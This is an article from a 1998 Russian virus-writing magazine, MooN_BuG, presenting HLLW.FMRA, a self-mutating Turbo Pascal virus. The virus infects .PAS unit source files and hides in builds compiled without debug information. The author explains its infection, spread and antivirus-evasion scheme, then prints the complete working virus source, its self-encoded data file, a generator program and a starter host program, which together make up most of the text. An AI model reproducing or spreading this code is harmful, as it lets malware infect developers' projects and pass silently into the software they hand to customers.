[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 9, Dec 1998 file 004
Вирус HLLW.FMRA
by RedArc
Ну вот, собственно, FullMorph на языке высокого уровня должен выглядеть
приблизительно вот так. Вирус мутирует (именно мутирует, а не шифрует)
собственное тело, прячется от отладчика, то есть стелсируется. И при этом не
виден для антивирусов всех мастей.
Кратко об алгоритме работы. При старте инфицированной программы одним из
первых будет выполнен код вируса. Он просканирует текущий диск в поиске
файлов с расширением PAS. Найдя такой файл вирус открывает его на чтение и
проверяет на наличие в нем строки '{$IFNDEF', что является одновременно и
меткой вируса в зараженных файлах и проверкой прагм. Именно этой строкой вирус
проверяет при компиляции наличие прагм отладчика... Но об этом позже. И так,
если строка-идентификатор найдена, то вирус закрывает файл и ищет другой. Во
время сканирования файла на предмат метки, вирус так же проверяет формат
найденного файла. Если в найденном файле присутствует строка 'IMPLEMENTATION',
то вирус считает, что нашел исходный код TPU-файла и приступает к заражению.
Заражение происходит вот как: вирус таскает с собой исходный код,
полученный при мутации во время собственного заражения. Он меняет названия
подпрограмм в своем исходнике на случайные имена, формирует два файла со
случайными именами и расширениями PAS и INC. В файл с расширением PAS вирус
декодирует и записывает собственный исходник, а в файл с расширением INC
записывает в определенном виде этот же исходник. Файл INC подключается к файлу
PAS как данные. В жертву же вставляется текст, подключающий модуль-вирус в
раздел используемых модулей. При этом, вставляемый текст обрамляется
инструкциями компилятору, которые сообщают, что подключать модуль-вирус стоит
только в том случае, если отключена отладочная информация.
Распространение. Вирус будет распространяться только в том случае, если
программист откомпилирует свою программу, использующую один из зараженных
модулей, при этом отключив отладочную информацию (что называется, для передачи
готового продукта заказчику). В модуле-вирусе в разделе инициализации стоит
вызов главной процедуры вирусного кода. При старте программы управление
получают сначала вызовы из разделов инициализации, а уж потом основная
программа. Так как вирусные процедуры имеют имена, меняющиеся от копии к
копии, то к одной программе может быть подключено несколько инфицированных
модулей, а следовательно, несколько копий вируса. Так как модули пользователя
так же могут иметь разделы инициализации, то переход(ы) на раздел(ы)
инициализации вируса определить однозначно нельзя. Таким образом получаем, что
EXE-программа инфицирует программы на этапе их создания. А почему бы нет?
Резидентные вирусы традиционно инфицируют программы на этапе копирования,
создания, открытия или закрытия... а нерезидентный вирус будет инфицировать
программы на этапе их создания. До компиляции вирус живет, вернее спит, в
виде собственного исходного кода, но только в файле со случайным именем и его
подпрограммы названы именами, присвоенными им генератором случайных чисел...
После компиляции программы, использующей инфицированные модули, вирус как бы
возрождается и начинает искать новые файлы, дабы забыться в них тихим сном.
Невидимость. Поскольку файлы с расширением PAS не контролируют ни сканеры ни
ревизоры, то этот вирус будет свободно распространяться даже на компьютерах,
защищенных Sheriff'ом. Включать же такие файлы в проверяемые или, тем более,
неизменяемые, никакого смысла нет - так как такие файлы обычно живут у
программиста в компьютере и меняются в день по десять раз.
Замечания. Этот вирус создан исключительно для журнала и не может быть
использован ни в каких целях, кроме как в познавательных. Сканирование всего
диска при каждом запуске инфицированной программы делает этот вирус не
приспособленным к дикой жизни. Для полной красоты можно было бы сделать
перестановку подпрограмм вируса местами, но уж больно возиться было не охота -
и так красиво получилось.
Ну, собственно, и, все... Вот его исходник:
=== Cut === FMRA_BEG.PAS
UNIT FMRA_BEG;
INTERFACE
{$I-}
USES DOS, CRT;
{$IFNDEF D+}
CONST HappyNewYear = 'Happy New Year';
{$ENDIF D+}
TYPE
FMRA_PList = ^FMRA_TList;
FMRA_TList = record
Name : String[12];
Next : FMRA_Plist;
end;
CONST
Exchange : Array [1..10] of String [15] =
('FMRA_',
'Manager',
'ChDrive',
'UpStr',
'RandomName',
'InfectFile',
'DetectUnitFile',
'ScanDir',
'Exchange',
'RandomSelect');
{$I FMRA_INC.inc}
VAR
FMRA_SR : SearchRec;
FMRA_S : String;
Exchange1 : Array [1..10] of String [15];
PROCEDURE FMRA_Manager;
IMPLEMENTATION
PROCEDURE FMRA_ChDrive (Drive : Byte);
BEGIN
asm
MOV AH, 0Eh
MOV DL, Drive;
INT 21h
end;
END;
FUNCTION FMRA_UpStr (S : String) : String;
VAR
S1 : String;
i : Integer;
BEGIN
S1 := S;
for i := 1 to Length (S1) do
S1 [i] := UpCase (S1 [i]);
FMRA_UpStr := S1;
END;
FUNCTION FMRA_RandomName (Range : Byte) : String;
VAR
S : String;
I, J, K : Byte;
t : Text;
BEGIN
repeat
S := '';
K := 1 + Random (Range);
if K < 7 then K := 7;
for J := 1 to K do begin
I := 65 + Random (26);
S := S + Chr (I);
end;
Assign (t, S + '.pas');
ReSet (t);
if IOResult <> 0 then break;
Close (t);
until False;
FMRA_RandomName := S;
END;
PROCEDURE FMRA_RandomSelect;
VAR
I, J : Byte;
Flag : Boolean;
BEGIN
Exchange1 [1] := FMRA_RandomName (5);
for I := 2 to 10 do
Exchange1 [I] := FMRA_RandomName (14) + '_';
repeat
Flag := True;
for J := 1 to 9 do
for I := J+1 to 10 do
if Exchange1 [J] = Exchange1 [I] then begin
Exchange1 [I] := FMRA_RandomName (14) + '_';
Flag := False;
end;
until Flag;
END;
PROCEDURE FMRA_Rename (var t, t1 : Text; S1 : String);
VAR
S : String;
I, J : Byte;
BEGIN
ReSet (t);
ReWrite (t1);
While not Eof (t) do begin
ReadLn (t, S);
for I := 1 to 10 do begin
while Pos (Exchange [I], S) > 0 do begin
J := Pos (Exchange [I], S);
Delete (S, J, Length (Exchange [I]));
Insert (Exchange1 [I], S, J);
end;
end;
WriteLn (t1, S);
end;
Close (t1);
Close (t);
Erase (t);
Rename (t1, S1);
END;
procedure FMRA_InfectFile (S : String);
var
t1, t2 : Text;
S1 : String;
I, J : Integer;
S2 : String [8];
begin
S2 := FMRA_RandomName (8);
Assign (t1, S2 + '.pas');
ReWrite (t1);
if IOResult <> 0 then Exit;
for I := 1 to FMRA_MaxConst do begin
S1 := FMRA_Const [I];
while Pos ('#39', S1) > 0 do begin
J := Pos ('#39', S1);
Delete (S1, J, 3);
Insert (#39, S1, J);
end;
while Pos ('#38', S1) > 0 do begin
J := Pos ('#38', S1);
Delete (S1, J, 3);
Insert ('#39', S1, J);
end;
if Pos ('{$I ', S1) = 1 then
S1 := '{$I ' + S2 + '.inc}';
if Pos ('UNIT', S1) = 1 then
S1 := 'UNIT ' + S2 + ';';
WriteLn (t1, S1);
end;
Close (t1);
Assign (t2, FMRA_RandomName (8) + '.pas');
FMRA_RandomSelect;
FMRA_Rename (t1, t2, S2 + '.pas');
Assign (t1, S2 + '.inc');
ReWrite (t1);
if IOResult <> 0 then Exit;
WriteLn (t1, 'CONST');
WriteLn (t1, 'FMRA_MaxConst = ', FMRA_MaxConst, ';');
WriteLn (t1, 'FMRA_Const : Array [1..FMRA_MaxConst] of String [150] =');
WriteLn (t1, '(');
for I := 1 to FMRA_MaxConst-1 do
WriteLn (t1, #39, FMRA_Const [I], #39, ',');
WriteLn (t1, #39, FMRA_Const [FMRA_MaxConst], #39, ');');
Close (t1);
Assign (t2, FMRA_RandomName (8) + '.inc');
FMRA_Rename (t1, t2, S2 + '.inc');
Assign (t1, S);
ReSet (t1);
if IOResult <> 0 then Exit;
Assign (t2, 'Scheriff.pas');
ReWrite (t2);
while not Eof (t1) do begin
ReadLn (t1, S1);
if Pos ('USES ', FMRA_UpStr (S1)) > 0 then
Insert ('{$IFNDEF D+} ' + S2 +', {$ENDIF D+} ', S1, Pos ('USES ', FMRA_UpStr (S1)) + 5);
WriteLn (t2, S1);
end;
Close (t2);
Close (t1);
Erase (t1);
Rename (t2, S);
end;
procedure FMRA_DetectUnitFile (S : String);
var
t : Text;
Flag : Boolean;
S1 : String;
begin
Assign (t, S);
ReSet (t);
if IOResult <> 0 then Exit;
Flag := False;
while not Eof (t) do begin
ReadLn (t, S1);
if Pos ('{$IFNDEF', S1) > 0 then begin
Flag := False;
Break;
end;
if FMRA_UpStr (S1) = 'IMPLEMENTATION' then Flag := True;
end;
Close (t);
if Flag then
FMRA_InfectFile (S);
end;
procedure FMRA_ScanDir(stdir:PathStr);
var
n,L : FMRA_PList;
m : PathStr;
St : string[79];
ch : char;
DIR : DirStr;
NAM : NameStr;
EXT : EXTSTR;
begin
FileMode := 0;
L := nil;
if stdir[Length(stdir)] <> '\' then
stdir:=stdir+'\';
m := stdir+'*.*';
FindFirst(m,AnyFile, FMRA_SR);
while dosError=0 do begin
if ((FMRA_SR.Attr and Directory) <> 0) and ((FMRA_SR.Name<>'.') and
(FMRA_SR.Name<>'..')) then begin
New(n);
N^.Next := L;
N^.Name := FMRA_SR.Name;
L := N;
end
else
if (FMRA_SR.Attr and VolumeID=0) and (FMRA_SR.Attr and Directory=0) then begin
FMRA_S := m;
Delete (FMRA_S, Length (m)-2, 3);
FMRA_S := FMRA_S + FMRA_SR.Name;
FSPLIT (FMRA_S, DIR, NAM, EXT);
IF (EXT = '.PAS') and (FMRA_SR.Attr and Hidden=0) THEN
FMRA_DetectUnitFile (FMRA_S);
end;
FindNext(FMRA_SR);
end;
while L<> nil do begin
m := Stdir+L^.Name;
ChDir(m);
if IOResult <> 0 then Exit;
n := L;
L := L^.next;
Dispose(n);
m := m+'\';
if IOResult = 0 then
FMRA_ScanDir(m);
m := stdir;
if m[length(m)-1] <> ':' then
m[0] := chr(length(stdir)-1);
ChDir(m);
end;
end;
PROCEDURE FMRA_Manager;
VAR
Home : PathStr;
S : String;
BEGIN
Randomize;
GetDir (0, Home);
if Home[Length(Home)] = '\' then
Delete (Home, Length(Home), 1);
S := Home [1] + ':';
FMRA_ChDrive (ORD(UpCase(S[1]))-65);
FMRA_ScanDir(S);
FMRA_ChDrive (ORD(UpCase(Home[1]))-65);
ChDir(Home);
END;
BEGIN
FMRA_Manager;
END.
=== Cut ===
А это данные вируса:
=== Cut === FMRA_INC.INC
CONST
FMRA_MaxConst = 265;
FMRA_Const : Array [1..FMRA_MaxConst] of String [150] = (
'UNIT FMRA_BEG;',
'INTERFACE',
'{$I-}',
'USES DOS, CRT;',
'{$IFNDEF D+}',
'CONST HappyNewYear = #39Happy New Year#39;',
'{$ENDIF D+}',
'TYPE',
' FMRA_PList = ^FMRA_TList;',
' FMRA_TList = record',
' Name : String[12];',
' Next : FMRA_Plist;',
' end;',
'CONST',
' Exchange : Array [1..10] of String [15] =',
' (#39FMRA_#39,',
' #39Manager#39,',
' #39ChDrive#39,',
' #39UpStr#39,',
' #39RandomName#39,',
' #39InfectFile#39,',
' #39DetectUnitFile#39,',
' #39ScanDir#39,',
' #39Exchange#39,',
' #39RandomSelect#39);',
'{$I FMRA_INC.inc}',
'VAR',
' FMRA_SR : SearchRec;',
' FMRA_S : String;',
' Exchange1 : Array [1..10] of String [15];',
'PROCEDURE FMRA_Manager;',
'IMPLEMENTATION',
'PROCEDURE FMRA_ChDrive (Drive : Byte);',
'BEGIN',
' asm',
' MOV AH, 0Eh',
' MOV DL, Drive;',
' INT 21h',
' end;',
'END;',
'FUNCTION FMRA_UpStr (S : String) : String;',
'VAR',
' S1 : String;',
' i : Integer;',
'BEGIN',
' S1 := S;',
' for i := 1 to Length (S1) do',
' S1 [i] := UpCase (S1 [i]);',
' FMRA_UpStr := S1;',
'END;',
'FUNCTION FMRA_RandomName (Range : Byte) : String;',
'VAR',
' S : String;',
' I, J, K : Byte;',
' t : Text;',
'BEGIN',
' repeat',
' S := #39#39;',
' K := 1 + Random (Range);',
' if K < 7 then K := 7;',
' for J := 1 to K do begin',
' I := 65 + Random (26);',
' S := S + Chr (I);',
' end;',
' Assign (t, S + #39.pas#39);',
' ReSet (t);',
' if IOResult <> 0 then break;',
' Close (t);',
' until False;',
' FMRA_RandomName := S;',
'END;',
'PROCEDURE FMRA_RandomSelect;',
'VAR',
' I, J : Byte;',
' Flag : Boolean;',
'BEGIN',
' Exchange1 [1] := FMRA_RandomName (5);',
' for I := 2 to 10 do',
' Exchange1 [I] := FMRA_RandomName (14) + #39_#39;',
' repeat',
' Flag := True;',
' for J := 1 to 9 do',
' for I := J+1 to 10 do',
' if Exchange1 [J] = Exchange1 [I] then begin',
' Exchange1 [I] := FMRA_RandomName (14) + #39_#39;',
' Flag := False;',
' end;',
' until Flag;',
'END;',
'PROCEDURE FMRA_Rename (var t, t1 : Text; S1 : String);',
'VAR',
' S : String;',
' I, J : Byte;',
'BEGIN',
' ReSet (t);',
' ReWrite (t1);',
' While not Eof (t) do begin',
' ReadLn (t, S);',
' for I := 1 to 10 do begin',
' while Pos (Exchange [I], S) > 0 do begin',
' J := Pos (Exchange [I], S);',
' Delete (S, J, Length (Exchange [I]));',
' Insert (Exchange1 [I], S, J);',
' end;',
' end;',
' WriteLn (t1, S);',
' end;',
' Close (t1);',
' Close (t);',
' Erase (t);',
' Rename (t1, S1);',
'END;',
'procedure FMRA_InfectFile (S : String);',
'var',
' t1, t2 : Text;',
' S1 : String;',
' I, J : Integer;',
' S2 : String [8];',
'begin',
' S2 := FMRA_RandomName (8);',
' Assign (t1, S2 + #39.pas#39);',
' ReWrite (t1);',
' if IOResult <> 0 then Exit;',
' for I := 1 to FMRA_MaxConst do begin',
' S1 := FMRA_Const [I];',
' while Pos (#39#38#39, S1) > 0 do begin',
' J := Pos (#39#38#39, S1);',
' Delete (S1, J, 3);',
' Insert (#38, S1, J);',
' end;',
' while Pos (#39#38#39, S1) > 0 do begin',
' J := Pos (#39#38#39, S1);',
' Delete (S1, J, 3);',
' Insert (#39#38#39, S1, J);',
' end;',
' if Pos (#39{$I #39, S1) = 1 then',
' S1 := #39{$I #39 + S2 + #39.inc}#39;',
' if Pos (#39UNIT#39, S1) = 1 then',
' S1 := #39UNIT #39 + S2 + #39;#39;',
' WriteLn (t1, S1);',
' end;',
' Close (t1);',
' Assign (t2, FMRA_RandomName (8) + #39.pas#39);',
' FMRA_RandomSelect;',
' FMRA_Rename (t1, t2, S2 + #39.pas#39);',
' Assign (t1, S2 + #39.inc#39);',
' ReWrite (t1);',
' if IOResult <> 0 then Exit;',
' WriteLn (t1, #39CONST#39);',
' WriteLn (t1, #39FMRA_MaxConst = #39, FMRA_MaxConst, #39;#39);',
' WriteLn (t1, #39FMRA_Const : Array [1..FMRA_MaxConst] of String [150] =#39);',
' WriteLn (t1, #39(#39);',
' for I := 1 to FMRA_MaxConst-1 do',
' WriteLn (t1, #38, FMRA_Const [I], #38, #39,#39);',
' WriteLn (t1, #38, FMRA_Const [FMRA_MaxConst], #38, #39);#39);',
' Close (t1);',
' Assign (t2, FMRA_RandomName (8) + #39.inc#39);',
' FMRA_Rename (t1, t2, S2 + #39.inc#39);',
' Assign (t1, S);',
' ReSet (t1);',
' if IOResult <> 0 then Exit;',
' Assign (t2, #39Scheriff.pas#39);',
' ReWrite (t2);',
' while not Eof (t1) do begin',
' ReadLn (t1, S1);',
' if Pos (#39USES #39, FMRA_UpStr (S1)) > 0 then',
' Insert (#39{$IFNDEF D+} #39 + S2 +#39, {$ENDIF D+} #39, S1, Pos (#39USES #39, FMRA_UpStr (S1)) + 5);',
' WriteLn (t2, S1);',
' end;',
' Close (t2);',
' Close (t1);',
' Erase (t1);',
' Rename (t2, S);',
'end;',
'procedure FMRA_DetectUnitFile (S : String);',
'var',
' t : Text;',
' Flag : Boolean;',
' S1 : String;',
'begin',
' Assign (t, S);',
' ReSet (t);',
' if IOResult <> 0 then Exit;',
' Flag := False;',
' while not Eof (t) do begin',
' ReadLn (t, S1);',
' if Pos (#39{$IFNDEF#39, S1) > 0 then begin',
' Flag := False;',
' Break;',
' end;',
' if FMRA_UpStr (S1) = #39IMPLEMENTATION#39 then Flag := True;',
' end;',
' Close (t);',
' if Flag then',
' FMRA_InfectFile (S);',
'end;',
'procedure FMRA_ScanDir(stdir:PathStr);',
' var',
' n,L : FMRA_PList;',
' m : PathStr;',
' St : string[79];',
' ch : char;',
' DIR : DirStr;',
' NAM : NameStr;',
' EXT : EXTSTR;',
'begin',
' FileMode := 0;',
' L := nil;',
' if stdir[Length(stdir)] <> #39\#39 then',
' stdir:=stdir+#39\#39;',
' m := stdir+#39*.*#39;',
' FindFirst(m,AnyFile, FMRA_SR);',
' while dosError=0 do begin',
' if ((FMRA_SR.Attr and Directory) <> 0) and ((FMRA_SR.Name<>#39.#39) and',
' (FMRA_SR.Name<>#39..#39)) then begin',
' New(n);',
' N^.Next := L;',
' N^.Name := FMRA_SR.Name;',
' L := N;',
' end',
' else',
' if (FMRA_SR.Attr and VolumeID=0) and (FMRA_SR.Attr and Directory=0) then begin',
' FMRA_S := m;',
' Delete (FMRA_S, Length (m)-2, 3);',
' FMRA_S := FMRA_S + FMRA_SR.Name;',
' FSPLIT (FMRA_S, DIR, NAM, EXT);',
' IF (EXT = #39.PAS#39) and (FMRA_SR.Attr and Hidden=0) THEN',
' FMRA_DetectUnitFile (FMRA_S);',
' end;',
' FindNext(FMRA_SR);',
' end;',
' while L<> nil do begin',
' m := Stdir+L^.Name;',
' ChDir(m);',
' if IOResult <> 0 then Exit;',
' n := L;',
' L := L^.next;',
' Dispose(n);',
' m := m+#39\#39;',
' if IOResult = 0 then',
' FMRA_ScanDir(m);',
' m := stdir;',
' if m[length(m)-1] <> #39:#39 then',
' m[0] := chr(length(stdir)-1);',
' ChDir(m);',
' end;',
'end;',
'PROCEDURE FMRA_Manager;',
'VAR',
' Home : PathStr;',
' S : String;',
'BEGIN',
' Randomize;',
' GetDir (0, Home);',
' if Home[Length(Home)] = #39\#39 then',
' Delete (Home, Length(Home), 1);',
' S := Home [1] + #39:#39;',
' FMRA_ChDrive (ORD(UpCase(S[1]))-65);',
' FMRA_ScanDir(S);',
' FMRA_ChDrive (ORD(UpCase(Home[1]))-65);',
' ChDir(Home);',
'END;',
'BEGIN',
' FMRA_Manager;',
'END.');
=== Cut ===
Так как данными вируса является его собственный исходник, то при
модернизации этого самого исходника необходимо и получить модернизированный
файл данных. Для этого файл, содержащий текст модуля-вируса копируем в файл с
именем FMRA_INC.INC и запускаем программу FMRA_END на исполнение. Она сама все
сделает и подготовит...
=== Cut === FMRA_END.PAS
PROGRAM FMRA_END;
VAR
T1, T2 : Text;
S : String;
I, J : Integer;
BEGIN
Assign (T1, 'FMRA_INC.INC');
ReSet (T1);
IF IORESULT <> 0 THEN EXIT;
Assign (T2, 'FMRA.TMP');
ReWrite (T2);
I := 0;
while not eof (t1) do begin
ReadLn (t1, S);
if S <> '' then begin
Inc (I);
while Pos ('#39', S) > 0 do begin
J := Pos ('#39', S);
Delete (S, J, 3);
Insert ('#38', S, J);
end;
while Pos (#39, S) > 0 do begin
J := Pos (#39, S);
Delete (S, J, 1);
Insert ('#39', S, J);
end;
if not eof (t1) then
S := #39 + S + #39 + ','
else
S := #39 + S + #39 + ');'
end;
WriteLn (T2, S);
end;
Close (t2);
Close (t1);
Erase (t1);
Rename (t2, 'FMRA_INC.INC');
Assign (T1, 'FMRA_INC.INC');
ReSet (T1);
Assign (T2, 'FMRA.TMP');
ReWrite (T2);
WriteLn (t2, 'CONST');
WriteLn (t2, 'FMRA_MaxConst = ', I, ';');
WriteLn (t2, 'FMRA_Const : Array [1..FMRA_MaxConst] of String [150] = (');
while not eof (t1) do begin
ReadLn (t1, S);
WriteLn (t2, S);
end;
Close (t2);
Close (t1);
Erase (t1);
Rename (t2, 'FMRA_INC.INC');
END.
=== Cut ===
А это просто дрозофилка для начального размножения вируса
=== Cut === FMRA.PAS
USES FMRA_BEG;
BEGIN
WriteLn ('FMRA was started!');
END.
=== Cut ===